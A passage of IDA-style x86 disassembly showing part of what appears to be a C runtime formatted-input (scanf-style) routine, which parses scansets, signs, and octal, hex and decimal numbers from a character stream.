loc_426F71:				; CODE XREF: sub_426BE0+385j
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_204], ecx
		mov	edx, [ebp+var_204]
		sub	edx, 63h
		mov	[ebp+var_204], edx
		cmp	[ebp+var_204], 18h
		ja	loc_427D2A
		mov	ecx, [ebp+var_204]
		xor	eax, eax
		mov	al, ds:byte_427F9E[ecx]
		jmp	ds:off_427F76[eax*4]


loc_426FAB:				; DATA XREF: seg000:off_427F76o
		cmp	[ebp+var_1E8], 0
		jnz	short loc_426FCC
		mov	edx, [ebp+var_1E8]
		add	edx, 1
		mov	[ebp+var_1E8], edx
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_426FCC:				; CODE XREF: sub_426BE0+3D2j
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_426FDD
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_426FDD:				; CODE XREF: sub_426BE0+3F2j
		mov	[ebp+var_1E0], offset dword_4502B0
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_427060
; ---------------------------------------------------------------------------


loc_426FF1:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F8Eo
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_427002
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_427002:				; CODE XREF: sub_426BE0+417j
		mov	[ebp+var_1E0], offset dword_4502A8
		mov	al, [ebp+var_10]
		sub	al, 1
		mov	[ebp+var_10], al
		jmp	short loc_427060
; ---------------------------------------------------------------------------


loc_427016:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F96o
		movsx	ecx, [ebp+var_14]
		test	ecx, ecx
		jle	short loc_427027
		mov	dl, [ebp+var_64]
		add	dl, 1
		mov	[ebp+var_64], dl


loc_427027:				; CODE XREF: sub_426BE0+43Cj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1E0], ecx
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Eh
		jnz	short loc_427060
		mov	ecx, [ebp+var_1E0]
		add	ecx, 1
		mov	[ebp+var_1E0], ecx
		mov	dl, [ebp+var_10]
		sub	dl, 1
		mov	[ebp+var_10], dl


loc_427060:				; CODE XREF: sub_426BE0+40Fj
					; sub_426BE0+434j ...
		push	20h
		push	0
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_42709C
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jnz	short loc_42709C
		mov	byte ptr [ebp+var_8], 5Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		mov	[ebp+var_55], 20h


loc_42709C:				; CODE XREF: sub_426BE0+494j
					; sub_426BE0+4A3j ...
		mov	ecx, [ebp+var_1E0]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 5Dh
		jz	loc_427207
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		cmp	eax, 2Dh
		jnz	short loc_4270F8
		mov	ecx, [ebp+var_8]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_4270F8
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 5Dh
		jnz	short loc_42713E


loc_4270F8:				; CODE XREF: sub_426BE0+4FAj
					; sub_426BE0+507j
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_60]
		or	cl, al
		mov	edx, [ebp+var_8]
		and	edx, 0FFh
		sar	edx, 3
		mov	[ebp+edx+var_60], cl
		jmp	loc_427202
; ---------------------------------------------------------------------------


loc_42713E:				; CODE XREF: sub_426BE0+516j
		mov	eax, [ebp+var_1E0]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_1EC],	cl
		mov	edx, [ebp+var_1E0]
		add	edx, 1
		mov	[ebp+var_1E0], edx
		mov	eax, [ebp+var_8]
		and	eax, 0FFh
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		cmp	eax, ecx
		jge	short loc_42717E
		mov	dl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_24], dl
		jmp	short loc_42718D
; ---------------------------------------------------------------------------


loc_42717E:				; CODE XREF: sub_426BE0+591j
		mov	al, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_24], al
		mov	cl, byte ptr [ebp+var_1EC]
		mov	byte ptr [ebp+var_8], cl


loc_42718D:				; CODE XREF: sub_426BE0+59Cj
		mov	dl, byte ptr [ebp+var_8]
		mov	byte ptr [ebp+var_1EC],	dl
		jmp	short loc_4271A6
; ---------------------------------------------------------------------------


loc_427198:				; CODE XREF: sub_426BE0+61Cj
		mov	al, byte ptr [ebp+var_1EC]
		add	al, 1
		mov	byte ptr [ebp+var_1EC],	al


loc_4271A6:				; CODE XREF: sub_426BE0+5B6j
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		mov	edx, [ebp+var_24]
		and	edx, 0FFh
		cmp	ecx, edx
		jg	short loc_4271FE
		mov	eax, [ebp+var_1EC]
		and	eax, 0FFh
		sar	eax, 3
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		mov	al, [ebp+eax+var_60]
		or	al, dl
		mov	ecx, [ebp+var_1EC]
		and	ecx, 0FFh
		sar	ecx, 3
		mov	[ebp+ecx+var_60], al
		jmp	short loc_427198
; ---------------------------------------------------------------------------


loc_4271FE:				; CODE XREF: sub_426BE0+5DDj
		mov	byte ptr [ebp+var_8], 0


loc_427202:				; CODE XREF: sub_426BE0+559j
		jmp	loc_42709C
; ---------------------------------------------------------------------------


loc_427207:				; CODE XREF: sub_426BE0+4C9j
		mov	edx, [ebp+var_1E0]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jnz	short loc_42721A
		jmp	loc_427ECA
; ---------------------------------------------------------------------------


loc_42721A:				; CODE XREF: sub_426BE0+633j
		cmp	[ebp+var_C], 7Bh
		jnz	short loc_427229
		mov	ecx, [ebp+var_1E0]
		mov	[ebp+arg_4], ecx


loc_427229:				; CODE XREF: sub_426BE0+63Ej
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_1E4], edx
		mov	eax, [ebp+var_20]
		sub	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_428080
		add	esp, 8


loc_42724E:				; CODE XREF: sub_426BE0:loc_427390j
		cmp	[ebp+var_1E8], 0
		jz	short loc_42726B
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		test	eax, eax
		jz	loc_427395


loc_42726B:				; CODE XREF: sub_426BE0+675j
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		cmp	[ebp+var_1D8], 0FFFFFFFFh
		jz	loc_427372
		mov	ecx, [ebp+var_1D8]
		sar	ecx, 3
		movsx	edx, [ebp+ecx+var_60]
		movsx	eax, [ebp+var_10]
		xor	edx, eax
		mov	ecx, [ebp+var_1D8]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		and	edx, eax
		test	edx, edx
		jz	loc_427372
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	loc_427361
		movsx	edx, [ebp+var_64]
		test	edx, edx
		jz	short loc_42734B
		mov	al, byte ptr [ebp+var_1D8]
		mov	[ebp+var_1F0], al
		mov	ecx, [ebp+var_1D8]
		and	ecx, 0FFh
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_42731D
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1EF], al


loc_42731D:				; CODE XREF: sub_426BE0+720j
		mov	eax, ds:dword_44FD20
		push	eax
		lea	ecx, [ebp+var_1F0]
		push	ecx
		lea	edx, [ebp+var_4]
		push	edx
		call	sub_42E9D0
		add	esp, 0Ch
		mov	eax, [ebp+var_3C]
		mov	cx, [ebp+var_4]
		mov	[eax], cx
		mov	edx, [ebp+var_3C]
		add	edx, 2
		mov	[ebp+var_3C], edx
		jmp	short loc_42735F
; ---------------------------------------------------------------------------


loc_42734B:				; CODE XREF: sub_426BE0+6F3j
		mov	eax, [ebp+var_3C]
		mov	cl, byte ptr [ebp+var_1D8]
		mov	[eax], cl
		mov	edx, [ebp+var_3C]
		add	edx, 1
		mov	[ebp+var_3C], edx


loc_42735F:				; CODE XREF: sub_426BE0+769j
		jmp	short loc_427370
; ---------------------------------------------------------------------------


loc_427361:				; CODE XREF: sub_426BE0+6E7j
		mov	eax, [ebp+var_1E4]
		add	eax, 1
		mov	[ebp+var_1E4], eax


loc_427370:				; CODE XREF: sub_426BE0:loc_42735Fj
		jmp	short loc_427390
; ---------------------------------------------------------------------------


loc_427372:				; CODE XREF: sub_426BE0+6ADj
					; sub_426BE0+6DBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_428080
		add	esp, 8
		jmp	short loc_427395
; ---------------------------------------------------------------------------


loc_427390:				; CODE XREF: sub_426BE0:loc_427370j
		jmp	loc_42724E
; ---------------------------------------------------------------------------


loc_427395:				; CODE XREF: sub_426BE0+685j
					; sub_426BE0+7AEj
		mov	ecx, [ebp+var_1E4]
		cmp	ecx, [ebp+var_3C]
		jz	short loc_4273D1
		movsx	edx, [ebp+var_70]
		test	edx, edx
		jnz	short loc_4273CF
		mov	eax, [ebp+var_34]
		add	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_C], 63h
		jz	short loc_4273CF
		movsx	ecx, [ebp+var_64]
		test	ecx, ecx
		jz	short loc_4273C9
		mov	edx, [ebp+var_3C]
		mov	word ptr [edx],	0
		jmp	short loc_4273CF
; ---------------------------------------------------------------------------


loc_4273C9:				; CODE XREF: sub_426BE0+7DDj
		mov	eax, [ebp+var_3C]
		mov	byte ptr [eax],	0


loc_4273CF:				; CODE XREF: sub_426BE0+7C6j
					; sub_426BE0+7D5j ...
		jmp	short loc_4273D6
; ---------------------------------------------------------------------------


loc_4273D1:				; CODE XREF: sub_426BE0+7BEj
		jmp	loc_427ECA
; ---------------------------------------------------------------------------


loc_4273D6:				; CODE XREF: sub_426BE0:loc_4273CFj
		jmp	loc_427D74
; ---------------------------------------------------------------------------


loc_4273DB:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F82o
		mov	[ebp+var_C], 64h


loc_4273E2:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F92o
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_4273F6
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_4273FF
; ---------------------------------------------------------------------------


loc_4273F6:				; CODE XREF: sub_426BE0+809j
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42743C


loc_4273FF:				; CODE XREF: sub_426BE0+814j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_427421
		cmp	[ebp+var_1E8], 0
		jz	short loc_427421
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42743C
; ---------------------------------------------------------------------------


loc_427421:				; CODE XREF: sub_426BE0+82Cj
					; sub_426BE0+835j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42743C:				; CODE XREF: sub_426BE0+81Dj
					; sub_426BE0+83Fj
		cmp	[ebp+var_1D8], 30h
		jnz	loc_4274DE
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		movsx	edx, byte ptr [ebp+var_1D8]
		cmp	edx, 78h
		jz	short loc_42747C
		movsx	eax, byte ptr [ebp+var_1D8]
		cmp	eax, 58h
		jnz	short loc_4274A0


loc_42747C:				; CODE XREF: sub_426BE0+88Ej
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax
		mov	[ebp+var_C], 78h
		jmp	short loc_4274DE
; ---------------------------------------------------------------------------


loc_4274A0:				; CODE XREF: sub_426BE0+89Aj
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		cmp	[ebp+var_C], 78h
		jz	short loc_4274B8
		mov	[ebp+var_C], 6Fh
		jmp	short loc_4274DE
; ---------------------------------------------------------------------------


loc_4274B8:				; CODE XREF: sub_426BE0+8CDj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_428080
		add	esp, 8
		mov	[ebp+var_1D8], 30h


loc_4274DE:				; CODE XREF: sub_426BE0+863j
					; sub_426BE0+8BEj ...
		jmp	short loc_42753E
; ---------------------------------------------------------------------------


loc_4274E0:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F8Ao
		mov	[ebp+var_38], 1


loc_4274E4:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F7Ao
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_4274F8
		mov	cl, [ebp+var_68]
		add	cl, 1
		mov	[ebp+var_68], cl
		jmp	short loc_427501
; ---------------------------------------------------------------------------


loc_4274F8:				; CODE XREF: sub_426BE0+90Bj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_42753E


loc_427501:				; CODE XREF: sub_426BE0+916j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jnz	short loc_427523
		cmp	[ebp+var_1E8], 0
		jz	short loc_427523
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al
		jmp	short loc_42753E
; ---------------------------------------------------------------------------


loc_427523:				; CODE XREF: sub_426BE0+92Ej
					; sub_426BE0+937j
		mov	ecx, [ebp+var_20]
		add	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_42753E:				; CODE XREF: sub_426BE0:loc_4274DEj
					; sub_426BE0+91Fj ...
		cmp	[ebp+var_1DC], 0
		jz	loc_427739


loc_42754B:				; CODE XREF: sub_426BE0:loc_427714j
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	loc_427719
		cmp	[ebp+var_C], 78h
		jnz	loc_4275E6
		cmp	ds:dword_44FD20, 1
		jle	short loc_427586
		push	80h
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_208], eax
		jmp	short loc_4275A3
; ---------------------------------------------------------------------------


loc_427586:				; CODE XREF: sub_426BE0+988j
		mov	edx, [ebp+var_1D8]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 80h
		mov	[ebp+var_208], ecx


loc_4275A3:				; CODE XREF: sub_426BE0+9A4j
		cmp	[ebp+var_208], 0
		jz	short loc_4275D9
		mov	ecx, 4
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42EBB0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_427FC0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_4275E1
; ---------------------------------------------------------------------------


loc_4275D9:				; CODE XREF: sub_426BE0+9CAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_4275E1:				; CODE XREF: sub_426BE0+9F7j
		jmp	loc_42768D
; ---------------------------------------------------------------------------


loc_4275E6:				; CODE XREF: sub_426BE0+97Bj
		cmp	ds:dword_44FD20, 1
		jle	short loc_427608
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_20C], eax
		jmp	short loc_427622
; ---------------------------------------------------------------------------


loc_427608:				; CODE XREF: sub_426BE0+A0Dj
		mov	edx, [ebp+var_1D8]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_20C], ecx


loc_427622:				; CODE XREF: sub_426BE0+A26j
		cmp	[ebp+var_20C], 0
		jz	short loc_427685
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_42765D
		cmp	[ebp+var_1D8], 38h
		jge	short loc_427652
		mov	ecx, 3
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42EBB0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx
		jmp	short loc_42765B
; ---------------------------------------------------------------------------


loc_427652:				; CODE XREF: sub_426BE0+A58j
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl


loc_42765B:				; CODE XREF: sub_426BE0+A70j
		jmp	short loc_427683
; ---------------------------------------------------------------------------


loc_42765D:				; CODE XREF: sub_426BE0+A4Fj
		mov	ecx, 2
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_2C]
		call	sub_42EBB0
		add	eax, [ebp+var_30]
		adc	edx, [ebp+var_2C]
		mov	ecx, 1
		call	sub_42EBB0
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], edx


loc_427683:				; CODE XREF: sub_426BE0:loc_42765Bj
		jmp	short loc_42768D
; ---------------------------------------------------------------------------


loc_427685:				; CODE XREF: sub_426BE0+A49j
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_42768D:				; CODE XREF: sub_426BE0:loc_4275E1j
					; sub_426BE0:loc_427683j
		movsx	ecx, [ebp+var_18]
		test	ecx, ecx
		jnz	short loc_4276F8
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx
		mov	eax, [ebp+var_1D8]
		sub	eax, 30h
		cdq
		mov	ecx, [ebp+var_30]
		add	ecx, eax
		mov	eax, [ebp+var_2C]
		adc	eax, edx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_4276DB
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_4276DB
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_4276F6
; ---------------------------------------------------------------------------


loc_4276DB:				; CODE XREF: sub_426BE0+ADFj
					; sub_426BE0+AEEj
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4276F6:				; CODE XREF: sub_426BE0+AF9j
		jmp	short loc_427714
; ---------------------------------------------------------------------------


loc_4276F8:				; CODE XREF: sub_426BE0+AB3j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_428080
		add	esp, 8


loc_427714:				; CODE XREF: sub_426BE0:loc_4276F6j
		jmp	loc_42754B
; ---------------------------------------------------------------------------


loc_427719:				; CODE XREF: sub_426BE0+971j
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_427734
		mov	eax, [ebp+var_30]
		neg	eax
		mov	ecx, [ebp+var_2C]
		adc	ecx, 0
		neg	ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_2C], ecx


loc_427734:				; CODE XREF: sub_426BE0+B3Fj
		jmp	loc_4278DD
; ---------------------------------------------------------------------------


loc_427739:				; CODE XREF: sub_426BE0+965j
					; sub_426BE0:loc_4278C8j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	loc_4278CD
		cmp	[ebp+var_C], 78h
		jz	short loc_427751
		cmp	[ebp+var_C], 70h
		jnz	short loc_4277C9


loc_427751:				; CODE XREF: sub_426BE0+B69j
		cmp	ds:dword_44FD20, 1
		jle	short loc_427776
		push	80h
		mov	eax, [ebp+var_1D8]
		push	eax
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_210], eax
		jmp	short loc_427793
; ---------------------------------------------------------------------------


loc_427776:				; CODE XREF: sub_426BE0+B78j
		mov	ecx, [ebp+var_1D8]
		mov	edx, ds:off_44FE2C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 80h
		mov	[ebp+var_210], eax


loc_427793:				; CODE XREF: sub_426BE0+B94j
		cmp	[ebp+var_210], 0
		jz	short loc_4277BC
		mov	ecx, [ebp+var_40]
		shl	ecx, 4
		mov	[ebp+var_40], ecx
		mov	edx, [ebp+var_1D8]
		push	edx
		call	sub_427FC0
		add	esp, 4
		mov	[ebp+var_1D8], eax
		jmp	short loc_4277C4
; ---------------------------------------------------------------------------


loc_4277BC:				; CODE XREF: sub_426BE0+BBAj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_4277C4:				; CODE XREF: sub_426BE0+BDAj
		jmp	loc_42784B
; ---------------------------------------------------------------------------


loc_4277C9:				; CODE XREF: sub_426BE0+B6Fj
		cmp	ds:dword_44FD20, 1
		jle	short loc_4277EB
		push	4
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_214], eax
		jmp	short loc_427805
; ---------------------------------------------------------------------------


loc_4277EB:				; CODE XREF: sub_426BE0+BF0j
		mov	edx, [ebp+var_1D8]
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_214], ecx


loc_427805:				; CODE XREF: sub_426BE0+C09j
		cmp	[ebp+var_214], 0
		jz	short loc_427842
		cmp	[ebp+var_C], 6Fh
		jnz	short loc_427832
		cmp	[ebp+var_1D8], 38h
		jge	short loc_427828
		mov	edx, [ebp+var_40]
		shl	edx, 3
		mov	[ebp+var_40], edx
		jmp	short loc_427830
; ---------------------------------------------------------------------------


loc_427828:				; CODE XREF: sub_426BE0+C3Bj
		mov	al, [ebp+var_18]
		add	al, 1
		mov	[ebp+var_18], al


loc_427830:				; CODE XREF: sub_426BE0+C46j
		jmp	short loc_427840
; ---------------------------------------------------------------------------


loc_427832:				; CODE XREF: sub_426BE0+C32j
		mov	ecx, [ebp+var_40]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx*4]
		shl	eax, 1
		mov	[ebp+var_40], eax


loc_427840:				; CODE XREF: sub_426BE0:loc_427830j
		jmp	short loc_42784B
; ---------------------------------------------------------------------------


loc_427842:				; CODE XREF: sub_426BE0+C2Cj
		mov	cl, [ebp+var_18]
		add	cl, 1
		mov	[ebp+var_18], cl


loc_42784B:				; CODE XREF: sub_426BE0:loc_4277C4j
					; sub_426BE0:loc_427840j
		movsx	edx, [ebp+var_18]
		test	edx, edx
		jnz	short loc_4278AC
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		mov	ecx, [ebp+var_1D8]
		mov	edx, [ebp+var_40]
		lea	eax, [edx+ecx-30h]
		mov	[ebp+var_40], eax
		cmp	[ebp+var_1E8], 0
		jz	short loc_42788F
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		cmp	[ebp+var_1C], 0
		jnz	short loc_42788F
		mov	dl, [ebp+var_18]
		add	dl, 1
		mov	[ebp+var_18], dl
		jmp	short loc_4278AA
; ---------------------------------------------------------------------------


loc_42788F:				; CODE XREF: sub_426BE0+C93j
					; sub_426BE0+CA2j
		mov	eax, [ebp+var_20]
		add	eax, 1
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4278AA:				; CODE XREF: sub_426BE0+CADj
		jmp	short loc_4278C8
; ---------------------------------------------------------------------------


loc_4278AC:				; CODE XREF: sub_426BE0+C71j
		mov	edx, [ebp+var_20]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_1D8]
		push	ecx
		call	sub_428080
		add	esp, 8


loc_4278C8:				; CODE XREF: sub_426BE0:loc_4278AAj
		jmp	loc_427739
; ---------------------------------------------------------------------------


loc_4278CD:				; CODE XREF: sub_426BE0+B5Fj
		movsx	edx, [ebp+var_68]
		test	edx, edx
		jz	short loc_4278DD
		mov	eax, [ebp+var_40]
		neg	eax
		mov	[ebp+var_40], eax


loc_4278DD:				; CODE XREF: sub_426BE0:loc_427734j
					; sub_426BE0+CF3j
		cmp	[ebp+var_C], 46h
		jnz	short loc_4278EA
		mov	[ebp+var_6C], 0


loc_4278EA:				; CODE XREF: sub_426BE0+D01j
		cmp	[ebp+var_6C], 0
		jz	short loc_427938
		movsx	ecx, [ebp+var_70]
		test	ecx, ecx
		jnz	short loc_427936
		mov	edx, [ebp+var_34]
		add	edx, 1
		mov	[ebp+var_34], edx


loc_427901:				; CODE XREF: sub_426BE0+D70j
		cmp	[ebp+var_1DC], 0
		jz	short loc_42791A
		mov	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_30]
		mov	[eax], ecx
		mov	edx, [ebp+var_2C]
		mov	[eax+4], edx
		jmp	short loc_427936
; ---------------------------------------------------------------------------


loc_42791A:				; CODE XREF: sub_426BE0+D28j
		movsx	eax, [ebp+var_38]
		test	eax, eax
		jz	short loc_42792C
		mov	ecx, [ebp+var_3C]
		mov	edx, [ebp+var_40]
		mov	[ecx], edx
		jmp	short loc_427936
; ---------------------------------------------------------------------------


loc_42792C:				; CODE XREF: sub_426BE0+D40j
		mov	eax, [ebp+var_3C]
		mov	cx, word ptr [ebp+var_40]
		mov	[eax], cx


loc_427936:				; CODE XREF: sub_426BE0+D16j
					; sub_426BE0+D38j ...
		jmp	short loc_42793D
; ---------------------------------------------------------------------------


loc_427938:				; CODE XREF: sub_426BE0+D0Ej
		jmp	loc_427ECA
; ---------------------------------------------------------------------------


loc_42793D:				; CODE XREF: sub_426BE0:loc_427936j
		jmp	loc_427D74
; ---------------------------------------------------------------------------


loc_427942:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F86o
		mov	edx, [ebp+var_20]
		mov	[ebp+var_40], edx
		movsx	eax, [ebp+var_70]
		test	eax, eax
		jnz	short loc_427952
		jmp	short loc_427901
; ---------------------------------------------------------------------------


loc_427952:				; CODE XREF: sub_426BE0+D6Ej
		jmp	loc_427D74
; ---------------------------------------------------------------------------


loc_427957:				; CODE XREF: sub_426BE0+3C4j
					; DATA XREF: seg000:00427F7Eo
		lea	ecx, [ebp+var_1D0]
		mov	[ebp+var_1E0], ecx
		cmp	[ebp+var_1D8], 2Dh
		jnz	short loc_427986
		mov	edx, [ebp+var_1E0]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_1E0]
		add	eax, 1
		mov	[ebp+var_1E0], eax
		jmp	short loc_42798F
; ---------------------------------------------------------------------------


loc_427986:				; CODE XREF: sub_426BE0+D8Aj
		cmp	[ebp+var_1D8], 2Bh
		jnz	short loc_4279B3


loc_42798F:				; CODE XREF: sub_426BE0+DA4j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_20]
		add	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_428020
		add	esp, 4
		mov	[ebp+var_1D8], eax


loc_4279B3:				; CODE XREF: sub_426BE0+DADj
		cmp	[ebp+var_1E8], 0
		jz	short loc_4279C5
		cmp	[ebp+var_1C], 15Dh
		jle	short loc_4279CC


loc_4279C5:				; CODE XREF: sub_426BE0+DDAj
		mov	[ebp+var_1C], 15Dh


loc_4279CC:				; CODE XREF: sub_426BE0+DE3j
					; sub_426BE0+E82j
		cmp	ds:dword_44FD20, 1
		jle	short loc_4279EE
		push	4
		mov	ecx, [ebp+var_1D8]
